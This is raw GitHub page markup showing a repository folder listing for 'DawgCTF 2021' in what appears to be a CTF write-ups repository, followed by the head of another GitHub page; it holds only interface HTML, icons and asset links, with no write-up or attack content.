name-with-owner="bXJhamFiaW5hc2FiL0NURi1Xcml0ZXVwcw==" prefetch-on-mouseover > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " style="max-height: 330px" data-pjax="#repo-content-pjax-container"> <div class="SelectMenu-loading pt-3 pb-0" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <footer class="SelectMenu-footer">View all branches</footer> </ref-selector> </div> <div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" class="d-flex flex-column flex-auto overflow-auto" tabindex="" hidden> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/mrajabinasab/CTF-Writeups/refs" cache-key="v0:1621249080.55423" current-committish="bWFpbg==" default-branch="bWFpbg==" name-with-owner="bXJhamFiaW5hc2FiL0NURi1Xcml0ZXVwcw==" > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" style="max-height: 330px" data-pjax="#repo-content-pjax-container"> <div class="SelectMenu-loading pt-3 pb-0" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div> </details> </div> <div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTF-Writeups</span></span></span><span>/</span>DawgCTF 2021<span>/</span> </div> </div> <div class="d-flex"> Go to file </div> </div> <div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>CTF-Writeups</span></span></span><span>/</span>DawgCTF 2021<span>/</span></div> <div class="Box mb-3"> <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-1 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/mrajabinasab/CTF-Writeups/tree-commit/e8b256f6c0fc53b2be9b7c0d17995ce0585585c3/DawgCTF%202021" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path fill-rule="evenodd" d="M1.643 3.143L.427 1.927A.25.25 0 000 2.104V5.75c0 .138.112.25.25.25h3.646a.25.25 0 00.177-.427L2.715 4.215a6.5 6.5 0 11-1.18 4.458.75.75 0 10-1.493.154 8.001 8.001 0 101.6-5.684zM7.75 4a.75.75 0 01.75.75v2.992l2.028.812a.75.75 0 01-.557 1.392l-2.5-1A.75.75 0 017 8.25v-3.5A.75.75 0 017.75 4z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2> <include-fragment src="/mrajabinasab/CTF-Writeups/file-list/main/DawgCTF%202021"> Permalink <div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> Failed to load latest commit information. </div> <div class="js-details-container Details"> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block" data-pjax> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>DawgCTF2021 Writeups.txt</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> </div> </div> </include-fragment> </div> </div> </div></div> </main> </div> </div> <div class="footer container-xl width-full p-responsive" role="contentinfo"> <div class="position-relative d-flex flex-row-reverse flex-lg-row flex-wrap flex-lg-nowrap flex-justify-center flex-lg-justify-between pt-6 pb-2 mt-6 f6 color-fg-muted border-top color-border-muted "> © 2021 GitHub, Inc. Terms Privacy Security Status Docs <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path></svg> Contact GitHub Pricing API Training Blog About </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></div> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> You can’t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-text-success d-none m-2"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> </clipboard-copy> </div></template> </body></html>
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" integrity="sha512-L06pZD/4Yecj8D8pY5aYfA7oKG6CI8/hlx2K9ZlXOS/j5TnYEjrusaVa9ZIb9O3/tBHmnRFLzaC1ixcafWtaAg==" rel="stylesheet" href="https://github.githubassets.com/assets/light-2f4ea9643ff861e723f03f296396987c.css" /><link crossorigin="anonymous" media="all" integrity="sha512-xcx3R1NmKjgOAE2DsCHYbus068pwqr4i3Xaa1osduISrxqYFi3zIaBLqjzt5FM9VSHqFN7mneFXK73Z9a2QRJg==" rel="stylesheet" href="https://github.githubassets.com/assets/dark-c5cc774753662a380e004d83b021d86e.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" integrity="sha512-xlDV9el7Cjd+KTSbwspx+c8its28uxn++hLZ9pqYYo1zOVcpLPlElTo42iA/8gV3xYfLvgqRZ3dQPxHCu4UaOQ==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-c650d5f5e97b0a377e29349bc2ca71f9.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" integrity="sha512-jkzjbgytRSAyC4EMcrdpez+aJ2CROSpfemvgO2TImxO6XgWWHNG2qSr2htlD1SL78zfuPXb+iXaVTS5jocG0DA==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-8e4ce36e0cad4520320b810c72b7697b.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" integrity="sha512-FzS8HhJ7XSHmx/dBll4FYlvu+8eivvb7jnttZy9KM5plsMkgbEghYKJszrFFauqQvv7ezYdbk7v/d8UtdjG9rw==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-1734bc1e127b5d21e6c7f741965e0562.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" integrity="sha512-IpkvxndMpMcO4paMJl83lYTcy18jv2jqG7mHZnTfr9HRV09iMhuQ/HrE+4mQO2nshL7ZLejO1OiVNDQkyVFOCA==" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-22992fc6774ca4c70ee2968c265f3795.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-4hzfg/znP4UxIOUt/r3SNYEZ6jBPJIS6PH4VC26tE0Nd4xAymMC3KXDaC9YITfG4fhyfxuB1YnDHo1H2iUwsfg==" rel="stylesheet" href="https://github.githubassets.com/assets/frameworks-e21cdf83fce73f853120e52dfebdd235.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-sT0AyFLl78shyaRWRXOw8uwRSnR+7tURIXoJwVYadATkrqeWfze5y/tOu8MS1mbzUKl6pgLjfEdT+U8bwBJHfQ==" rel="stylesheet" href="https://github.githubassets.com/assets/behaviors-b13d00c852e5efcb21c9a4564573b0f2.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-jdtbQr5ZSKZqID/c80i87Ml+YyEhYVd5sF9szeR+Xuvbfhi4yLJbEsSllzk0XRzcbWqD4tDtshhRo5IuJx4Mzw==" rel="stylesheet" href="https://github.githubassets.com/assets/github-8ddb5b42be5948a66a203fdcf348bcec.css" /> <script crossorigin="anonymous" defer="defer" integrity="sha512-/0zs/So9AxtDONKx324yW8s62PoPMx4Epxmk1aJmMgIYIKUkQg4YqlZQ06B4j0tSXQcUB8/zWiIkhLtVEozU/w==" type="application/javascript" src="https://github.githubassets.com/assets/environment-ff4cecfd.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-8p4kkx6e3xBq1g3NP0O3/AW/aiTQ+VRxYencIeMD8crx7AEwrOTV+XOL/UE8cw4vEvkoU/zzLEZ9cud0jFfI4w==" type="application/javascript" src="https://github.githubassets.com/assets/chunk-frameworks-f29e2493.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-slE3Aa2Duzwgju0UbTfes+w5slmaEOhXwom+Ev+pPsxxOpeh2CGZqfriJGr6pkhTZX+ffOTTYl3GnSLtp7AkJw==" type="application/javascript" src="https://github.githubassets.com/assets/chunk-vendor-b2513701.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-ZDU7IsI6lFo4eeBuqkrh/Htsa12ZYOi44uBhKqG0LyV6XHM502iJjjsIVnmtmNXrrC9oGMf2O5i57Bx4lwGsXw==" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-64353b22.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-ODZJzCJpaOfusrIka5QVZQcPiO9LBGyrrMYjhhJWSLuCN5WbZ5xiEiiOPOKVu71dqygyRdB2TY7AKPA1J5hqdg==" type="application/javascript" data-module-id="./chunk-unveil.js" data-src="https://github.githubassets.com/assets/chunk-unveil-383649cc.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-emPgUbSwW9ezLCgRnTE7n4fbbfc/MqEEDHmnkmG61dTyjWKHTYKN4wN3OPS7SY0fwmSJ8mB5+gng2nZw4/HsUg==" type="application/javascript" data-module-id="./chunk-animate-on-scroll.js" data-src="https://github.githubassets.com/assets/chunk-animate-on-scroll-7a63e051.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-pWX6rMbTl/ERAhhtbAyXiJzoXFr91jp/mRy2Xk4OpAId3aVFI2X+yI8X3mhbf985F5BRHamuRx20kG62nRtSLQ==" type="application/javascript" data-module-id="./chunk-ref-selector.js" data-src="https://github.githubassets.com/assets/chunk-ref-selector-a565faac.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GKiNgfnSOtC7SUFIvLZMYoteE7iKDONxzaeovKiziJczuW1P4KMU1KhXeoTv4WEN0ufeXC9ejA8HvgYa+xPAAQ==" type="application/javascript" data-module-id="./chunk-filter-input.js" data-src="https://github.githubassets.com/assets/chunk-filter-input-18a88d81.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-HRWFwpj3BLrXflQCvPbnuXPFjpnti5TtcqJqUx/b6klMyuskNlUBIo+1UT0KVHFdEW/Y9QKjmXlZxhP6z1j5pg==" type="application/javascript" data-module-id="./chunk-edit.js" data-src="https://github.githubassets.com/assets/chunk-edit-1d1585c2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GhqHDMwaAgqUsjVyltYVhaaLYy2G887rPRXXNbsdaI+Xm3dh0fbaHLhZns70EjFAEpXBgCAYFYdnlG1IQFmz1A==" type="application/javascript" data-module-id="./chunk-responsive-underlinenav.js" data-src="https://github.githubassets.com/assets/chunk-responsive-underlinenav-1a1a870c.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-gmw7obKL/JEHWPp6zWFh+ynbXUFOidj1DN2aPiTDwP8Gair0moVuDmA340LD84A29I3ZPak19CEiumG+oIiseg==" type="application/javascript" data-module-id="./chunk-tag-input.js" data-src="https://github.githubassets.com/assets/chunk-tag-input-826c3ba1.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Ao9llFIlj54ApuKf2QLboXukbu2h7MHfMmtYHrrsVe1lprKNLiA0usVcRpvruKhfT5STDuWm/GGmyx8ox27hWQ==" type="application/javascript" data-module-id="./chunk-notification-list-focus.js" data-src="https://github.githubassets.com/assets/chunk-notification-list-focus-028f6594.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-SPWd3rzrxmU6xW6vy1JPWCd+3uWFWmnd0MVGpmw/TpHWUAdLWDqL8kWyC/sBIZJmda4mTtUO1DHJQzAXRSrC+g==" type="application/javascript" data-module-id="./chunk-cookies.js" data-src="https://github.githubassets.com/assets/chunk-cookies-48f59dde.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-MK53GXbb2BPV+ADlEbJbkrvg34WPcAd5RC2nBJhUH1tR/Mjr9xrsf56ptBajfWcIWKRKbqqRtLktgr0wAbB3zw==" type="application/javascript" data-module-id="./chunk-async-export.js" data-src="https://github.githubassets.com/assets/chunk-async-export-30ae7719.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-tw9SApiMkftVBYeb6/VGhEwGNw8tlyBhXc9RVXH4UbCD6u+48uuCMvXf3bxvBdOld0OoYg83SnD2mgJWhdaTiQ==" type="application/javascript" data-module-id="./chunk-premium-runners.js" data-src="https://github.githubassets.com/assets/chunk-premium-runners-b70f5202.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-D576CjzS9sbDqFBJdq0Y6+KVMHXkO6mLFO/GRL1NtoE8jgXjAvmdjoZ4nNMWyDwqbtBHspvupORzE9L+YoBLYQ==" type="application/javascript" data-module-id="./chunk-get-repo-element.js" data-src="https://github.githubassets.com/assets/chunk-get-repo-element-0f9efa0a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-xhSAO0KtnFAlRqAK+mg8BPj/J334ccvnCmmjmBQBCgZcsoO9teHJSS6oAn3XOWYFsWPU2JehwG7S3OVEbLwdUg==" type="application/javascript" data-module-id="./chunk-color-modes.js" data-src="https://github.githubassets.com/assets/chunk-color-modes-c614803b.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-jitxouuFY6SUcDZV5W3jhadVEIfFBfCQZxfPV3kxNnsWEBzbxMJFp0ccLb7+OlBjSs1zU/MNtuOV6T9Ay7lx4w==" type="application/javascript" data-module-id="./chunk-copy.js" data-src="https://github.githubassets.com/assets/chunk-copy-8e2b71a2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Auj2atZZccqguPinFmOL2k1TCzZs/yfMMFF5aMYMB/5miqEN7v4oAFG0o3Np24NOTkJ9o/txZCeuT6NGHgGoUA==" type="application/javascript" data-module-id="./chunk-voting.js" data-src="https://github.githubassets.com/assets/chunk-voting-02e8f66a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-HDsLJf6gAN+WDFaJneJwmIY82XkZKWqeX7tStBLRh1XM53K8vMV6JZvjq/UQXszaNVWxWcuYtgYTG6ZWo8+QSw==" type="application/javascript" data-module-id="./chunk-confetti.js" data-src="https://github.githubassets.com/assets/chunk-confetti-1c3b0b25.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-zEirtMGIgj3NVAnB8kWhDykK5NLa7q4ugkIxB7EftbovRjhU3X5I/20Rploa4KGPwAR27e36rAljHIsDKbTm/Q==" type="application/javascript" data-module-id="./chunk-codemirror.js" data-src="https://github.githubassets.com/assets/chunk-codemirror-cc48abb4.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Gr3ZcJt5t73JeBM3NwOEziKyDZ3HpHwzqZL/c1pgTUfo+6QC5f88XXRw/RT6X2diwqvaa3OVFh0oWsZ9ZxhtdQ==" type="application/javascript" data-module-id="./chunk-tip.js" data-src="https://github.githubassets.com/assets/chunk-tip-1abdd970.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-EdQvlnI4Pu5Q6K0HCvp+mi0Vw9ZuwaEuhbnCbmFKX+c0xwiUWY0L3n9P0F6doLhaHhfpvW3718+miL11WG4BeA==" type="application/javascript" data-module-id="./chunk-line.js" data-src="https://github.githubassets.com/assets/chunk-line-11d42f96.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-4zSHP2sQXPKoN9jFy8q2ThHsQNej8s4qhubSR4g0/2dTexAEnoTG+RbaffdIhmjfghGjpS/DlE0cdSTFEOcipQ==" type="application/javascript" data-module-id="./chunk-array.js" data-src="https://github.githubassets.com/assets/chunk-array-e334873f.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-g8fb6U7h9SkWgiK69nfNMn4aN5D2YBYPZUbCIuLpemWoOw8NOaZY8Z0hPq4RUVs4+bYdCFR6K719k8lwFeUijg==" type="application/javascript" data-module-id="./chunk-band.js" data-src="https://github.githubassets.com/assets/chunk-band-83c7dbe9.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-6oWCu7ltWLHlroIRg8mR6RloC1wqKS9aK9e5THWgzaE2GNPAdoC+MLZEYD/TdIiZxsQRev0RInyonsXGBK0aMw==" type="application/javascript" data-module-id="./chunk-toast.js" data-src="https://github.githubassets.com/assets/chunk-toast-ea8582bb.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-miaiZ1xkDsWBUsURHOmeYtbgVKQGnm1octCo/lDXUmPzDyjtubnHULRVw1AK+sttwdwyB0+LOyhIVAWCNSGx+A==" type="application/javascript" data-module-id="./chunk-delayed-loading-element.js" data-src="https://github.githubassets.com/assets/chunk-delayed-loading-element-9a26a267.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GD25CNhMGDMzEmeFhUT0FILBupAkx5/CHohnYXOP1togy40O0iu/lASaSp3gV8ue0nwscalJVQqR5gKDRHHDVg==" type="application/javascript" data-module-id="./chunk-three.module.js" data-src="https://github.githubassets.com/assets/chunk-three.module-183db908.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-4vVRplWFI7P4m3RHQ0QAhkq6eZUdtIE8PBhsKYJRwDkhQw9iK/U1st1/fM1tQZFuBFwGMyqaZblbWtQ+2ejcqQ==" type="application/javascript" data-module-id="./chunk-slug.js" data-src="https://github.githubassets.com/assets/chunk-slug-e2f551a6.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Ofk7ddnMsJ6F9d2vCuPQav+FG9Rg8i6WRG2KmbzwT01S9H4y58Fl42zYxDh/lJjOWeSyOB9KJyfIkdpCCTYG9A==" type="application/javascript" data-module-id="./chunk-invitations.js" data-src="https://github.githubassets.com/assets/chunk-invitations-39f93b75.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-vFR+IqThljOLrAWmjhOL/kiQrjgZZg95uPovX0J7kRH5p7Y049LDRZaXLMDijfeqqk71d3MMn9XP5bUcH+lB9w==" type="application/javascript" data-module-id="./chunk-profile.js" data-src="https://github.githubassets.com/assets/chunk-profile-bc547e22.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-FeRujRzXPfs03roBR3mnHvWukfFpu27XbyZPQri9jcCY0AdUWSM5R4drHTJUDQ62Pz/aX0rSS5xORvTu7NsjlQ==" type="application/javascript" data-module-id="./chunk-overview.js" data-src="https://github.githubassets.com/assets/chunk-overview-15e46e8d.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-xqw233932eUGcGURAPuwUWZpC5Km/9Btq7/2Jnkt1rSWnPSVfMl+JKpr9eLtCoQmrpgP8vaghEuX8bWAS8fzTg==" type="application/javascript" data-module-id="./chunk-advanced.js" data-src="https://github.githubassets.com/assets/chunk-advanced-c6ac36df.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-6Rmd0BBAsJ9ouvb/pgrkToMPs5ogcqi8rcQ7R3GDPPHIjlu0NZ0Bx6HUn/aOruMCECETHm4Exfs5gjYdHs66RQ==" type="application/javascript" data-module-id="./chunk-runner-groups.js" data-src="https://github.githubassets.com/assets/chunk-runner-groups-e9199dd0.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-xdGx4qSd2qa0c/AVc4wDqpBhFHasDjOZ5y+MbwuIRA+ar7YxAFhZ2pGFs/+W5hVjSv+BMfKrcWpgLwR3xPIWHA==" type="application/javascript" data-module-id="./chunk-profile-pins-element.js" data-src="https://github.githubassets.com/assets/chunk-profile-pins-element-c5d1b1e2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-LrD2kFGlUY4JxKVeN3dgYfuhfq0akTPGHtqW0gxkM2sDqVY6pauK2k57tmMHw4TQdcUrs+RQnBc1HPD+ou+ZfQ==" type="application/javascript" data-module-id="./chunk-emoji-picker-element.js" 